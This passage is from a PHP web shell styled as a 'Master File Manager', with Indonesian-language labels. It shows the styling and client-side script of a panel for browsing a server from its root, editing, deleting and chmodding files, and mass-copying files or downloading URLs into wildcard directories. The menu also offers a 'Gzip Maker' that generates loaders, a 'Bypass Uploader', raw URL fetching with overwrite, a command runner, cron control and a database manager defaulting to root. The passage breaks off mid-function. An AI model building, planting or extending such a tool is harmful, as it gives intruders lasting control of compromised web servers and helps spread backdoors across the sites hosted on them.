margin-bottom: 20px; border-radius: 8px 8px 0 0; } .header h1 { font-size: 18px; color: #0f0; } .logout-btn { background: #c00; color: #fff; padding: 8px 16px; text-decoration: none; border-radius: 5px; font-weight: bold; } .logout-btn:hover { background: #f00; } /* Menu */ .menu { background: #111; padding: 10px; margin: 10px 0 20px 0; border: 1px solid #333; display: flex; flex-wrap: wrap; gap: 8px; border-radius: 5px; } .menu a { background: #1a1a1a; color: #0f0; padding: 6px 12px; text-decoration: none; border-radius: 4px; font-size: 12px; transition: all 0.2s; cursor: pointer; } .menu a:hover { background: #0f0; color: #000; } /* Panel */ .panel { background: #0f0f0f; padding: 20px; margin: 15px 0; border: 1px solid #333; border-radius: 8px; } .panel h2 { font-size: 16px; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid #333; } .panel h3 { font-size: 14px; margin-bottom: 10px; color: #0f0; } /* Breadcrumb */ .breadcrumb { background: #111; padding: 10px 15px; margin: 10px 0; border: 1px solid #333; border-radius: 5px; font-size: 12px; word-break: break-all; } .breadcrumb a { color: #0ff; text-decoration: none; } .breadcrumb a:hover { text-decoration: underline; } /* Search box */ .search-box { background: #111; padding: 10px; margin: 10px 0; display: flex; gap: 10px; flex-wrap: wrap; align-items: center; border-radius: 5px; } .search-box input { flex: 1; min-width: 200px; } /* Form elements */ input, textarea, select { background: #1a1a1a; color: #0f0; border: 1px solid #333; padding: 8px 12px; font-family: monospace; border-radius: 4px; } input:focus, textarea:focus, select:focus { outline: none; border-color: #0f0; } button, .btn { background: #0f0; color: #000; border: none; padding: 8px 16px; cursor: pointer; font-family: monospace; font-weight: bold; border-radius: 4px; transition: all 0.2s; } button:hover, .btn:hover { background: #0ff; transform: scale(1.02); } button:disabled { opacity: 0.5; cursor: not-allowed; } /* File Table */ .file-table-wrapper { overflow-x: auto; margin: 15px 0; border-radius: 5px; } .file-table { width: 100%; border-collapse: collapse; font-size: 12px; } .file-table th { background: #1a1a1a; color: #0f0; padding: 10px 8px; text-align: left; border-bottom: 2px solid #0f0; } .file-table td { padding: 8px; border-bottom: 1px solid #222; vertical-align: middle; } .file-table tr:hover { background: #1a2a1a; } /* Action buttons inside table */ .action-group { display: flex; flex-wrap: wrap; gap: 5px; align-items: center; } .action-group input { padding: 4px 6px; font-size: 11px; width: auto; } .btn-small { background: #222; color: #0f0; border: 1px solid #0f0; padding: 3px 8px; font-size: 11px; border-radius: 3px; cursor: pointer; } .btn-small:hover { background: #0f0; color: #000; } .btn-danger { background: #600; border-color: #f00; color: #f99; } .btn-danger:hover { background: #c00; color: #fff; } /* Action panels */ .action-panels { display: flex; flex-wrap: wrap; gap: 20px; margin-top: 20px; padding-top: 20px; border-top: 1px solid #333; } .action-panel { background: #111; padding: 15px; border-radius: 5px; flex: 1; min-width: 200px; } .action-panel h3 { font-size: 13px; margin-bottom: 10px; color: #0f0; } .action-panel input { width: 100%; margin-bottom: 8px; } /* Tab buttons */ .tab-buttons { display: flex; margin: 10px 0; } .tab-btn { flex: 1; padding: 10px; background: #222; color: #0f0; border: none; cursor: pointer; } .tab-btn.active { background: #0f0; color: #000; } .tab-content { display: none; background: #111; padding: 20px; border: 1px solid #333; border-top: none; } .tab-content.active { display: block; } /* Dropzone */ .dropzone { border: 2px dashed #0f0; padding: 30px; text-align: center; cursor: pointer; margin: 10px 0; } .dropzone:hover { background: #1a1a1a; } /* Messages */ .success { color: #0f0; background: #0a1a0a; padding: 10px; border-left: 4px solid #0f0; margin: 10px 0; } .error { color: #f00; background: #1a0a0a; padding: 10px; border-left: 4px solid #f00; margin: 10px 0; } .loading { display: inline-block; width: 20px; height: 20px; border: 2px solid #0f0; border-radius: 50%; border-top-color: transparent; animation: spin 1s linear infinite; margin-right: 8px; } @keyframes spin { to { transform: rotate(360deg); } } /* Modal */ .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 1000; justify-content: center; align-items: center; } .modal.active { display: flex; } .modal-content { background: #0f0f0f; border: 2px solid #0f0; border-radius: 10px; padding: 20px; width: 90%; max-width: 900px; max-height: 80%; overflow: auto; } .modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid #333; } .modal-close { cursor: pointer; font-size: 20px; } /* Info table */ .info-table { width: 100%; border-collapse: collapse; } .info-table th { text-align: left; padding: 8px; background: #1a1a1a; width: 200px; } .info-table td { padding: 8px; border-bottom: 1px solid #333; } /* Database table */ .db-table { width: 100%; border-collapse: collapse; font-size: 12px; overflow-x: auto; display: block; } .db-table th, .db-table td { border: 1px solid #333; padding: 6px; text-align: left; } .db-table th { background: #1a1a1a; position: sticky; top: 0; } /* Responsive */ @media (max-width: 900px) { body { padding: 10px; } .file-table th, .file-table td { padding: 6px 4px; } .action-group { flex-direction: column; align-items: flex-start; } .action-group input { width: 80px; } } @media (max-width: 700px) { .hide-mobile { display: none; } } .footer { text-align: center; margin-top: 30px; padding: 15px; border-top: 1px solid #333; color: #666; font-size: 11px; } pre { background: #111; padding: 10px; border: 1px solid #333; overflow: auto; white-space: pre-wrap; word-wrap: break-word; } code { background: #1a1a1a; padding: 2px 4px; border-radius: 3px; } </style> </head> <body> <div class="container"> <div class="header"> <h1>๐ง Master File Manager v<?php echo MASTER_VERSION; ?> (Complete Edition)</h1> <a href="?logout=1" class="logout-btn">๐ช Logout</a> </div> <div class="menu" id="menuBar"></div> <div id="mainContent"> <div style="text-align:center;padding:40px"> <div class="loading"></div> Loading... </div> </div> <div class="footer"> <p>Master File Manager | Protected by bcrypt + Cookie Session | <?php echo date('Y-m-d H:i:s'); ?></p> </div> </div> <script> // Global variables let currentPath = '<?php echo addslashes($current_path); ?>'; let currentAction = 'filemanager'; let dbConfig = { host: 'localhost', user: 'root', pass: '', name: '' }; // Menu items const menuItems = [ { action: 'filemanager', label: '๐ File Manager', icon: '๐' }, { action: 'mass', label: '๐ฆ Mass Upload', icon: '๐ฆ' }, { action: 'gzip', label: '๐จ Gzip Maker', icon: '๐จ' }, { action: 'multi_upload', label: '๐ค Multi Upload', icon: '๐ค' }, { action: 'cron', label: 'โฐ Cron', icon: 'โฐ' }, { action: 'dbmanager', label: '๐๏ธ DB Manager', icon: '๐๏ธ' }, { action: 'rawupload', label: '๐ฅ Raw URL', icon: '๐ฅ' }, { action: 'bypass', label: '๐ Bypass', icon: '๐' }, { action: 'extract', label: '๐ฆ Extract', icon: '๐ฆ' }, { action: 'cmd', label: 'โจ๏ธ Command', icon: 'โจ๏ธ' }, { action: 'security', label: '๐ Security', icon: '๐' }, { action: 'network', label: '๐ Network', icon: '๐' }, { action: 'info', label: 'โน๏ธ Info', icon: 'โน๏ธ' } ]; // Build menu function buildMenu() { const menuBar = document.getElementById('menuBar'); menuBar.innerHTML = ''; menuItems.forEach(item => { const link = document.createElement('a'); link.href = 'javascript:void(0)'; link.innerHTML = `${item.icon} ${item.label}`; link.onclick = () => loadAction(item.action); menuBar.appendChild(link); }); } // Load action function loadAction(action) { currentAction = action; const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = '<div style="text-align:center;padding:40px"><div class="loading"></div> Loading...</div>'; switch(action) { case 'filemanager': renderFileManager(); break; case 'mass': renderMassUploader(); break; case 'gzip': renderGzipMaker(); break; case 'multi_upload': renderMultiUpload(); break; case 'cron': renderCronManager(); break; case 'dbmanager': renderDbManager(); break; case 'rawupload': renderRawUpload(); break; case 'bypass': renderBypassUploader(); break; case 'extract': renderExtractManager(); break; case 'cmd': renderCommand(); break; case 'security': renderSecurityScan(); break; case 'network': renderNetworkTools(); break; case 'info': renderInfo(); break; default: renderFileManager(); } } // AJAX helper function ajaxPost(data, callback) { const formData = new FormData(); for (let key in data) { formData.append(key, data[key]); } formData.append('ajax_action', data.ajax_action); const xhr = new XMLHttpRequest(); xhr.open('POST', window.location.href, true); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { if (xhr.status === 200) { try { const response = JSON.parse(xhr.responseText); callback(response); } catch(e) { callback({status: 'error', message: 'Parse error: ' + e.message}); } } else { callback({status: 'error', message: 'HTTP ' + xhr.status}); } }; xhr.onerror = function() { callback({status: 'error', message: 'Network error'}); }; xhr.send(formData); } // Escape HTML function escapeHtml(str) { if (!str) return ''; return String(str).replace(/[&<>]/g, function(m) { if (m === '&') return '&'; if (m === '<') return '<'; if (m === '>') return '>'; return m; }); } // Show result message function showResult(message, status, containerId = 'fileManagerResult') { const resultDiv = document.getElementById(containerId); if (resultDiv) { resultDiv.innerHTML = `<div class="${status === 'success' ? 'success' : 'error'}">${escapeHtml(message)}</div>`; setTimeout(() => { resultDiv.innerHTML = ''; }, 3000); } else { alert(message); } } // ========== FILE MANAGER ========== function renderFileManager() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐ File Manager</h2> <div class="breadcrumb" id="breadcrumb"></div> <div class="search-box"> <input type="text" id="searchInput" placeholder="๐ Filter files..."> <button onclick="searchFiles()">Cari</button> <button onclick="refreshFileManager()">Refresh</button> <button onclick="createZipFromSelection()" id="zipBtn" style="display:none">๐ฆ Create ZIP</button> </div> <div class="file-table-wrapper"> <div id="fileTable"></div> </div> <div id="fileManagerResult"></div> <div class="action-panels"> <div class="action-panel"> <h3>๐ Create File</h3> <input type="text" id="newFileName" placeholder="filename.php"> <button onclick="createFile()">Create</button> </div> <div class="action-panel"> <h3>๐ Create Folder</h3> <input type="text" id="newFolderName" placeholder="foldername"> <button onclick="createFolder()">Create</button> </div> <div class="action-panel"> <h3>๐ค Upload File</h3> <input type="file" id="uploadFile" style="margin-bottom:8px"> <button onclick="uploadFile()">Upload</button> </div> </div> </div> `; refreshFileManager(); } function refreshFileManager() { const search = document.getElementById('searchInput')?.value || ''; ajaxPost({ajax_action: 'list_files', path: currentPath, search: search}, function(res) { if (res.status === 'success') { currentPath = res.cwd; renderBreadcrumb(res.cwd); renderFileTable(res.files); } else { document.getElementById('fileTable').innerHTML = '<div class="error">Error loading files</div>'; } }); } function searchFiles() { refreshFileManager(); } function renderBreadcrumb(cwd) { const parts = cwd.split('/').filter(p => p); let html = `๐ <b>Path:</b> <a href="javascript:goToPath('/')">/</a>`; let current = ''; for (let part of parts) { current += '/' + part; html += ` / <a href="javascript:goToPath('${current}')">${escapeHtml(part)}</a>`; } document.getElementById('breadcrumb').innerHTML = html; } function goToPath(path) { currentPath = path; refreshFileManager(); } let selectedItems = new Set(); function renderFileTable(files) { if (!files || files.length === 0) { document.getElementById('fileTable').innerHTML = '<div class="error">No files found</div>'; return; } let html = `<table class="file-table"> <thead> <tr> <th style="width:30px"><input type="checkbox" id="selectAll" onclick="toggleSelectAll()"></th> <th>Name</th> <th class="hide-mobile">Size</th> <th class="hide-mobile">Perms</th> <th class="hide-mobile">Modified</th> <th>Actions</th> </tr> </thead> <tbody>`; // Parent directory if (currentPath !== '/') { const parentPath = currentPath.substring(0, currentPath.lastIndexOf('/')) || '/'; html += `<tr class="dir-row"> <td></td> <td><a href="javascript:goToPath('${parentPath}')" style="color:#0ff">๐ [..] Parent Directory</a></td> <td class="hide-mobile">--</td> <td class="hide-mobile">--</td> <td class="hide-mobile">--</td> <td></td> </tr>`; } for (let file of files) { const icon = file.is_dir ? '๐' : '๐'; const isPhp = !file.is_dir && file.name.match(/\.(php|php\d*)$/i); const iconDisplay = isPhp ? '๐' : icon; const isSelected = selectedItems.has(file.name); html += `<tr> <td>${!file.is_dir ? `<input type="checkbox" class="fileCheckbox" data-name="${escapeHtml(file.name)}" ${isSelected ? 'checked' : ''} onclick="toggleSelectItem('${escapeHtml(file.name)}')">` : ''}</td> <td> ${iconDisplay} ${file.is_dir ? `<a href="javascript:goToPath('${file.path}')" style="color:#0f0;font-weight:bold">${escapeHtml(file.name)}</a>` : `<a href="javascript:viewFile('${file.path}')" style="color:#0f0">${escapeHtml(file.name)}</a>` } </td> <td class="hide-mobile">${file.size_formatted}</td> <td class="hide-mobile">${file.perms}</td> <td class="hide-mobile">${file.modified}</td> <td> <div class="action-group"> ${!file.is_dir ? `<button class="btn-small" onclick="editFile('${file.path}')">โ๏ธ Edit</button>` : ''} <button class="btn-small btn-danger" onclick="deleteItem('${file.name}')">๐๏ธ Del</button> <input type="text" id="rename_${file.name.replace(/[^a-zA-Z0-9]/g, '_')}" placeholder="new name" size="8"> <button class="btn-small" onclick="renameItem('${file.name}', document.getElementById('rename_${file.name.replace(/[^a-zA-Z0-9]/g, '_')}').value)">Rename</button> <input type="text" id="chmod_${file.path.replace(/[^a-zA-Z0-9]/g, '_')}" value="${file.perms}" size="4"> <button class="btn-small" onclick="chmodItem('${file.path}', document.getElementById('chmod_${file.path.replace(/[^a-zA-Z0-9]/g, '_')}').value)">Chmod</button> ${!file.is_dir && file.name.endsWith('.zip') ? `<button class="btn-small" onclick="extractZipHere('${file.path}')">๐ฆ Extract</button>` : ''} </div> </td> </tr>`; } html += `</tbody></table>`; document.getElementById('fileTable').innerHTML = html; // Show/hide ZIP button const zipBtn = document.getElementById('zipBtn'); if (zipBtn) { zipBtn.style.display = selectedItems.size > 0 ? 'inline-block' : 'none'; } } function toggleSelectAll() { const checkboxes = document.querySelectorAll('.fileCheckbox'); const selectAll = document.getElementById('selectAll'); checkboxes.forEach(cb => { cb.checked = selectAll.checked; if (selectAll.checked) { selectedItems.add(cb.dataset.name); } else { selectedItems.delete(cb.dataset.name); } }); const zipBtn = document.getElementById('zipBtn'); if (zipBtn) zipBtn.style.display = selectedItems.size > 0 ? 'inline-block' : 'none'; } function toggleSelectItem(name) { if (selectedItems.has(name)) { selectedItems.delete(name); } else { selectedItems.add(name); } const zipBtn = document.getElementById('zipBtn'); if (zipBtn) zipBtn.style.display = selectedItems.size > 0 ? 'inline-block' : 'none'; } function createZipFromSelection() { if (selectedItems.size === 0) { alert('Pilih file/folder terlebih dahulu'); return; } const zipName = prompt('Nama file ZIP:', 'archive_' + new Date().toISOString().slice(0,19).replace(/:/g, '-') + '.zip'); if (!zipName) return; const items = Array.from(selectedItems); ajaxPost({ ajax_action: 'create_zip', cwd: currentPath, zip_name: zipName, items: JSON.stringify(items) }, function(res) { if (res.status === 'success') { showResult(res.message, 'success'); selectedItems.clear(); refreshFileManager(); } else { showResult(res.message, 'error'); } }); } function extractZipHere(zipFile) { if (!confirm('Extract ZIP to current directory?')) return; ajaxPost({ajax_action: 'extract_zip', zip_file: zipFile, extract_to: currentPath}, function(res) { showResult(res.message, res.status); if (res.status === 'success') refreshFileManager(); }); } function createFile() { const filename = document.getElementById('newFileName').value; if (!filename) return alert('Masukkan nama file'); ajaxPost({ajax_action: 'create_file', cwd: currentPath, filename: filename}, function(res) { showResult(res.message, res.status); if (res.status === 'success') refreshFileManager(); document.getElementById('newFileName').value = ''; }); } function createFolder() { const foldername = document.getElementById('newFolderName').value; if (!foldername) return alert('Masukkan nama folder'); ajaxPost({ajax_action: 'create_folder', cwd: currentPath, foldername: foldername}, function(res) { showResult(res.message, res.status); if (res.status === 'success') refreshFileManager(); document.getElementById('newFolderName').value = ''; }); } function deleteItem(item) { if (!confirm(`Hapus ${item}?`)) return; ajaxPost({ajax_action: 'delete_item', cwd: currentPath, item: item}, function(res) { showResult(res.message, res.status); if (res.status === 'success') refreshFileManager(); }); } function renameItem(oldName, newName) { if (!newName) return alert('Masukkan nama baru'); ajaxPost({ajax_action: 'rename_item', cwd: currentPath, old: oldName, new: newName}, function(res) { showResult(res.message, res.status); if (res.status === 'success') refreshFileManager(); }); } function chmodItem(filePath, perms) { if (!perms) return; ajaxPost({ajax_action: 'chmod_item', file: filePath, perms: perms}, function(res) { showResult(res.message, res.status); if (res.status === 'success') refreshFileManager(); }); } function viewFile(filePath) { ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) { if (res.status === 'success') { const win = window.open(); win.document.write(`<html><head><title>View File</title><style>body{background:#000;color:#0f0;font-family:monospace;padding:20px;white-space:pre-wrap;word-wrap:break-word}</style></head><body><pre>${escapeHtml(res.content)}</pre></body></html>`); } else { alert(res.message); } }); } function editFile(filePath) { ajaxPost({ajax_action: 'get_file_content', file: filePath}, function(res) { if (res.status === 'success') { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>โ๏ธ Editing: ${escapeHtml(filePath.split('/').pop())}</h2> <textarea id="editorContent" style="width:100%;height:500px;background:#1a1a1a;color:#0f0;border:1px solid #333;padding:10px;font-family:monospace">${escapeHtml(res.content)}</textarea><br><br> <button onclick="saveFileContent('${filePath}')">๐พ Save</button> <button onclick="loadAction('filemanager')">โฌ ๏ธ Back</button> </div> `; } else { alert(res.message); } }); } function saveFileContent(filePath) { const content = document.getElementById('editorContent').value; ajaxPost({ajax_action: 'save_file_content', file: filePath, content: content}, function(res) { if (res.status === 'success') { alert('File saved!'); loadAction('filemanager'); } else { alert('Save failed: ' + res.message); } }); } function uploadFile() { const fileInput = document.getElementById('uploadFile'); if (!fileInput.files.length) return alert('Pilih file'); const formData = new FormData(); formData.append('ajax_action', 'upload_file'); formData.append('cwd', currentPath); formData.append('file', fileInput.files[0]); const xhr = new XMLHttpRequest(); xhr.open('POST', window.location.href, true); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { if (xhr.status === 200) { try { const res = JSON.parse(xhr.responseText); showResult(res.message, res.status); if (res.status === 'success') refreshFileManager(); fileInput.value = ''; } catch(e) { alert('Error: ' + e.message); } } else { alert('Upload failed'); } }; xhr.send(formData); } // ========== MASS UPLOADER (PERBAIKAN) ========== function renderMassUploader() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐ฆ Mass Uploader</h2> <div style="background:#111;padding:15px;margin:10px 0;border-radius:5px"> <h3>๐ Directory Tujuan</h3> <input type="text" id="targetDir" value="${currentPath}" style="width:100%"> <small>Bisa pakai wildcard * untuk multiple folder</small> </div> <div style="background:#111;padding:15px;margin:10px 0;border-radius:5px"> <h3>โ๏ธ Depth Setting</h3> <select id="depth"> <option value="0">Depth 0 - Langsung ke folder tujuan</option> <option value="1">Depth 1 - Pertahankan 1 level folder</option> </select> </div> <div class="tab-buttons"> <button class="tab-btn active" onclick="showMassTab('copy')">๐ Copy File</button> <button class="tab-btn" onclick="showMassTab('url')">๐ URL Download</button> </div> <div id="massTabCopy" class="tab-content active"> <h3>๐ Copy File dari Server</h3> <textarea id="fileList" style="width:100%;height:150px;font-family:monospace" placeholder="/home/user/file1.txt /var/www/*.php /path/to/folder/*"></textarea> <button onclick="processMassAction('copy')" style="margin-top:10px">๐ COPY FILES</button> </div> <div id="massTabUrl" class="tab-content"> <h3>๐ Download dari URL</h3> <textarea id="urlList" style="width:100%;height:150px;font-family:monospace" placeholder="https://example.com/file1.jpg https://example.com/file.php|custom.php"></textarea> <button onclick="processMassAction('url')" style="margin-top:10px">๐ DOWNLOAD FILES</button> </div> <div id="massResult"></div> </div> `; } function showMassTab(tab) { const copyTab = document.getElementById('massTabCopy'); const urlTab = document.getElementById('massTabUrl'); const btns = document.querySelectorAll('.tab-btn'); if (tab === 'copy') { copyTab.classList.add('active'); urlTab.classList.remove('active'); btns[0].classList.add('active'); btns[1].classList.remove('active'); } else { copyTab.classList.remove('active'); urlTab.classList.add('active'); btns[0].classList.remove('active'); btns[1].classList.add('active'); } } function processMassAction(action) { const targetDir = document.getElementById('targetDir').value; const depth = document.getElementById('depth').value; let data = { ajax_action: 'mass_upload', mass_action: action, target_dir: targetDir, depth: depth }; if (action === 'copy') { data.file_list = document.getElementById('fileList').value; if (!data.file_list.trim()) { alert('Masukkan daftar file'); return; } } else { data.url_list = document.getElementById('urlList').value; if (!data.url_list.trim()) { alert('Masukkan daftar URL'); return; } } const resultDiv = document.getElementById('massResult'); resultDiv.innerHTML = ` <div style="text-align:center;padding:20px"> <div class="loading"></div> <span>Processing mass upload...</span> </div> `; ajaxPost(data, function(res) { if (res.success !== undefined) { let html = ` <div style="margin-top:20px;background:#0a1a0a;border:1px solid #0f0;border-radius:8px;padding:0;overflow:hidden"> <div style="background:#0f0;color:#000;padding:10px 15px;font-weight:bold"> ๐ HASIL MASS UPLOAD </div> <div style="padding:15px"> <div style="display:flex;gap:20px;flex-wrap:wrap;margin-bottom:20px"> <div style="background:#0a2a0a;padding:10px 20px;border-radius:5px;text-align:center"> <div style="font-size:24px;color:#0f0;font-weight:bold">${res.success}</div> <div style="font-size:12px">โ Sukses</div> </div> <div style="background:#2a0a0a;padding:10px 20px;border-radius:5px;text-align:center"> <div style="font-size:24px;color:#f00;font-weight:bold">${res.failed}</div> <div style="font-size:12px">โ Gagal</div> </div> <div style="background:#1a1a2a;padding:10px 20px;border-radius:5px;text-align:center"> <div style="font-size:24px;color:#0ff;font-weight:bold">${res.total}</div> <div style="font-size:12px">๐ฆ Total</div> </div> </div> `; if (res.results && res.results.length) { html += ` <details open> <summary style="cursor:pointer;font-weight:bold;margin-bottom:10px">๐ Detail Proses (${res.results.length} items)</summary> <div style="max-height:400px;overflow-y:auto;border:1px solid #333;border-radius:5px"> <table style="width:100%;border-collapse:collapse;font-size:12px"> <thead style="position:sticky;top:0;background:#1a1a1a"> <tr> <th style="padding:8px;text-align:left;border-bottom:1px solid #333">#</th> <th style="padding:8px;text-align:left;border-bottom:1px solid #333">Status</th> <th style="padding:8px;text-align:left;border-bottom:1px solid #333">Source</th> <th style="padding:8px;text-align:left;border-bottom:1px solid #333">Target/Destination</th> </tr> </thead> <tbody> `; let index = 1; for (let r of res.results) { const statusIcon = r.status === 'success' ? 'โ ' : 'โ'; const statusColor = r.status === 'success' ? '#0f0' : '#f66'; const sourceDisplay = r.source ? (r.source.length > 50 ? r.source.substring(0, 47) + '...' : r.source) : '-'; const targetDisplay = r.target ? (r.target.length > 50 ? r.target.substring(0, 47) + '...' : r.target) : '-'; html += ` <tr style="border-bottom:1px solid #222"> <td style="padding:6px 8px;color:#888">${index++}</td> <td style="padding:6px 8px;color:${statusColor};font-weight:bold">${statusIcon} ${r.status}</td> <td style="padding:6px 8px;font-family:monospace;font-size:11px" title="${escapeHtml(r.source || '')}">${escapeHtml(sourceDisplay)}</td> <td style="padding:6px 8px;font-family:monospace;font-size:11px" title="${escapeHtml(r.target || r.message || '')}">${escapeHtml(targetDisplay)}</td> </tr> `; } html += ` </tbody> </table> </div> </details> `; } html += ` <div style="margin-top:15px;padding-top:10px;border-top:1px solid #333"> <button onclick="document.getElementById('massResult').innerHTML = ''; document.getElementById('fileList').value = ''; document.getElementById('urlList').value = ''" style="background:#333;color:#0f0">๐๏ธ Clear Results</button> <button onclick="if(typeof refreshFileManager === 'function') refreshFileManager(); else location.reload()" style="margin-left:10px">๐ Refresh</button> </div> </div> </div> `; resultDiv.innerHTML = html; } else { resultDiv.innerHTML = ` <div class="error" style="margin-top:15px;padding:15px;border-radius:5px"> <strong>โ Error:</strong> ${escapeHtml(res.message || 'Unknown error')} </div> `; } }); } // ========== GZIP MAKER ========== function renderGzipMaker() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐จ Gzip Maker</h2> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>๐ Source (path atau URL):</strong></label> <input type="text" id="gzipSource" style="width:100%" placeholder="/path/file.php or https://example.com/file.php"> </div> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>๐ Gzip Name:</strong></label> <input type="text" id="gzipName" style="width:100%" placeholder="Kosong = random"> </div> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>๐ง Use Loader?</strong></label><br> <label><input type="radio" name="useLoader" value="y" onclick="toggleLoaderDiv(true)"> Ya</label> <label><input type="radio" name="useLoader" value="n" checked onclick="toggleLoaderDiv(false)"> Tidak</label> <div id="loaderDiv" style="display:none;margin-top:10px"> <label>Loader Name:</label> <input type="text" id="loaderName" style="width:100%" placeholder="Kosong = random"> </div> </div> <button onclick="processGzip()">๐จ PROSES</button> <div id="gzipResult"></div> </div> `; } function toggleLoaderDiv(show) { document.getElementById('loaderDiv').style.display = show ? 'block' : 'none'; } function processGzip() { const source = document.getElementById('gzipSource').value; if (!source) return alert('Masukkan source'); const useLoader = document.querySelector('input[name="useLoader"]:checked').value; const loaderName = document.getElementById('loaderName')?.value || ''; const resultDiv = document.getElementById('gzipResult'); resultDiv.innerHTML = '<div class="loading"></div> Processing...'; ajaxPost({ ajax_action: 'make_gzip', source: source, gzip_name: document.getElementById('gzipName').value, use_loader: useLoader, loader_name: loaderName }, function(res) { if (res.status === 'success') { let html = `<div class="success" style="margin-top:15px"> <h3>โ GZIP Created!</h3> <p>File: <a href="${res.gzip_file}">${res.gzip_file}</a> (${res.size})</p>`; if (res.loader_file) { html += `<p>๐ฆ Loader: <a href="${res.loader_file}">${res.loader_file}</a></p>`; html += `<details><summary>Preview</summary><pre>${escapeHtml(res.loader_content)}</pre></details>`; } html += `</div>`; resultDiv.innerHTML = html; } else { resultDiv.innerHTML = `<div class="error">โ ${res.message}</div>`; } }); } // ========== MULTI UPLOAD ========== function renderMultiUpload() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐ค Multi Upload</h2> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>๐ Target Directory:</strong></label> <input type="text" id="multiTargetDir" value="${currentPath}" style="width:100%"> </div> <div class="dropzone" id="multiDropzone" onclick="document.getElementById('multiFileInput').click()"> ๐ Drag & drop files here or click to select </div> <input type="file" id="multiFileInput" multiple style="display:none"> <div id="multiFileList"></div> <button onclick="processMultiUpload()">๐ Upload All</button> <div id="multiResult"></div> </div> `; const dropzone = document.getElementById('multiDropzone'); const fileInput = document.getElementById('multiFileInput'); if (dropzone) { dropzone.addEventListener('dragover', (e) => e.preventDefault()); dropzone.addEventListener('drop', (e) => { e.preventDefault(); fileInput.files = e.dataTransfer.files; updateMultiFileList(); }); } if (fileInput) { fileInput.addEventListener('change', () => updateMultiFileList()); } } function updateMultiFileList() { const input = document.getElementById('multiFileInput'); let html = '<h4>Selected:</h4>'; for (let i = 0; i < input.files.length; i++) { html += `<div>${escapeHtml(input.files[i].name)}</div>`; } document.getElementById('multiFileList').innerHTML = html; } function processMultiUpload() { const fileInput = document.getElementById('multiFileInput'); if (!fileInput.files.length) return alert('Pilih file'); const targetDir = document.getElementById('multiTargetDir').value; const resultDiv = document.getElementById('multiResult'); resultDiv.innerHTML = '<div class="loading"></div> Uploading...'; let completed = 0; let success = 0; let failed = 0; const total = fileInput.files.length; for (let i = 0; i < total; i++) { const formData = new FormData(); formData.append('ajax_action', 'upload_file'); formData.append('cwd', targetDir); formData.append('file', fileInput.files[i]); const xhr = new XMLHttpRequest(); xhr.open('POST', window.location.href, true); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { completed++; if (xhr.status === 200) { try { const res = JSON.parse(xhr.responseText); if (res.status === 'success') success++; else failed++; } catch(e) { failed++; } } else { failed++; } resultDiv.innerHTML = `<div>Uploading: ${completed}/${total} | โ ${success} | โ ${failed}</div>`; if (completed === total) { resultDiv.innerHTML += `<div class="success">โ Upload complete: ${success} success, ${failed} failed</div>`; document.getElementById('multiFileInput').value = ''; document.getElementById('multiFileList').innerHTML = ''; } }; xhr.send(formData); } } // ========== RAW URL UPLOAD ========== function renderRawUpload() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐ฅ Raw URL Upload</h2> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>URL:</strong></label> <input type="text" id="rawUrl" style="width:100%" placeholder="https://example.com/file.zip"> </div> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>Save as (opsional):</strong></label> <input type="text" id="rawFilename" style="width:100%" placeholder="Kosong = auto detect"> </div> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>๐ Save Path:</strong></label> <input type="text" id="rawSavePath" style="width:100%" value="${currentPath}"> </div> <div style="background:#111;padding:15px;margin:10px 0"> <label><strong>๐ Rewrite Mode:</strong></label> <select id="rawRewriteMode"> <option value="skip">Skip if exists</option> <option value="backup">Backup then overwrite</option> <option value="overwrite">Overwrite</option> </select> </div> <button onclick="processRawUpload()">๐ฅ Download & Save</button> <div id="rawResult"></div> </div> `; } function processRawUpload() { const url = document.getElementById('rawUrl').value; if (!url) return alert('Masukkan URL'); const resultDiv = document.getElementById('rawResult'); resultDiv.innerHTML = '<div class="loading"></div> Downloading...'; ajaxPost({ ajax_action: 'raw_upload', raw_url: url, filename: document.getElementById('rawFilename').value, save_path: document.getElementById('rawSavePath').value, rewrite_mode: document.getElementById('rawRewriteMode').value }, function(res) { if (res.status === 'success') { resultDiv.innerHTML = `<div class="success"> โ Downloaded: ${escapeHtml(res.file)} (${res.size}) </div>`; } else { resultDiv.innerHTML = `<div class="error">โ ${res.message}</div>`; } }); } // ========== BYPASS UPLOADER ========== function renderBypassUploader() { const mainContent = document.getElementById('mainContent'); mainContent.innerHTML = ` <div class="panel"> <h2>๐ Bypass Uploader</h2> <div class="dropzone" onclick="document.getElementById('bypassFileInput').click()"> ๐ Click to select file </div> <input type="file" id="bypassFileInput" style="display:none"> <button onclick="processBypassUpload()">๐ Upload</button> <div id="bypassResult"></div> </div> `; } function processBypassUpload() { const fileInput = document.getElementById('bypassFileInput'); if (!fileInput.files.length) return alert('Pilih file'); const formData = new FormData(); formData.append('ajax_action', 'upload_file'); formData.append('cwd', currentPath); formData.append('file', fileInput.files[0]); const resultDiv = document.getElementById('bypassResult'); resultDiv.innerHTML = '<div class="loading"></div> Uploading...'; const xhr = new XMLHttpRequest(); xhr.open('POST', window.location.href, true); xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest'); xhr.onload = function() { if (xhr.status === 200) 